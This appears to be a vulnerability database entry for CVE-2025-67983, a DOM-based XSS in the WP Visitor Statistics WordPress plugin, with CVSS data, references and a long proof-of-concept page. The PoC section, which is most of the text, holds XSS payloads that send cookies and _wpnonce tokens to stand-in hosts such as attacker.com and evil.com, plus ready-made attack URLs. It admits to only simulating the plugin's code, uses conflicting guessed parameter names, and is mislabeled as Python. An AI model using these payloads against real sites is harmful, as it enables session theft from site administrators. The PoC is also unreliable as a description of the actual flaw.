CVE-2025-67983

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in osama.esh WP Visitor Statistics (Real Time Traffic) wp-stats-manager allows DOM-Based XSS.This issue affects WP Visitor Statistics (Real Time Traffic): from n/a through <= 8.3.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WP Visitor Statistics (Real Time Traffic) wp-stats-manager <= 8.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-67983 DOM-based XSS PoC -->
<!-- Target: WP Visitor Statistics (Real Time Traffic) plugin <= 8.3 -->
<!-- Attack Type: DOM-based Cross-Site Scripting -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-67983 PoC</title>
</head>
<body>
    <h1>CVE-2025-67983 DOM-based XSS PoC</h1>
    <p>Target: WP Visitor Statistics plugin <= 8.3</p>
    
    <script>
        // Simulate the vulnerable JavaScript code pattern
        // In the actual vulnerable plugin, user input from URL or DOM is directly used
        
        function simulateVulnerableCode(userInput) {
            // This simulates the vulnerable code pattern in the plugin
            // where user input is directly inserted into the DOM without sanitization
            document.write('<div id="stats-data">' + userInput + '</div>');
        }
        
        // Attack vector: Malicious URL parameter
        // The attacker crafts a URL with XSS payload in the parameter
        var maliciousPayload = '<img src=x onerror="alert(document.cookie)">';
        
        // In real attack scenario, the attacker would send this URL to victims:
        // https://victim-site.com/?stats_param=<img src=x onerror="alert(document.cookie)">
        
        // Simulate exploitation
        console.log('Simulating DOM XSS attack...');
        console.log('Payload:', maliciousPayload);
        
        // The actual exploit would look like:
        // https://target-site/wp-admin/admin.php?page=wp-stats-manager&param=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
        
        // Demonstrate cookie stealing payload
        var cookieStealPayload = '<script>fetch("https://attacker-controlled-site.com/collect?cookie="+btoa(document.cookie))</script>';
        console.log('Cookie stealing payload:', cookieStealPayload);
        
        // Session hijacking payload
        var sessionHijackPayload = '<img src=x onerror="fetch(\'https://evil.com/log?token=\'+document.querySelector(\'[name=_wpnonce]\').value)">';
        console.log('Session hijacking payload:', sessionHijackPayload);
        
        // Display constructed attack URLs
        var baseUrl = window.location.origin;
        var attackUrl1 = baseUrl + '?wvs_param="><img src=x onerror=alert(document.domain)>';
        var attackUrl2 = baseUrl + '?wvs_param=<script>document.location="https://attacker.com/steal?"+document.cookie</script>';
        
        document.write('<h2>Attack URL Examples:</h2>');
        document.write('<p>URL 1: ' + attackUrl1 + '</p>');
        document.write('<p>URL 2: ' + attackUrl2 + '</p>');
        document.write('<p style="color:red;">Note: These are demonstration URLs. In real attacks, the attacker would encode and obfuscate the payload.</p>');
    </script>
    
    <!-- Simulated vulnerable endpoint -->
    <!-- 
    Typical vulnerable pattern in plugin JavaScript:
    var param = new URLSearchParams(window.location.search).get('wvs_param');
    document.getElementById('stats-container').innerHTML = param;
    -->
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67983
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67983
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67983/
[4] VulDB https://vuldb.com/cve/CVE-2025-67983
[5] https://patchstack.com/database/Wordpress/Plugin/wp-stats-manager/vulnerability/wordpress-wp-visitor-statistics-real-time-traffic-plugin-8-3-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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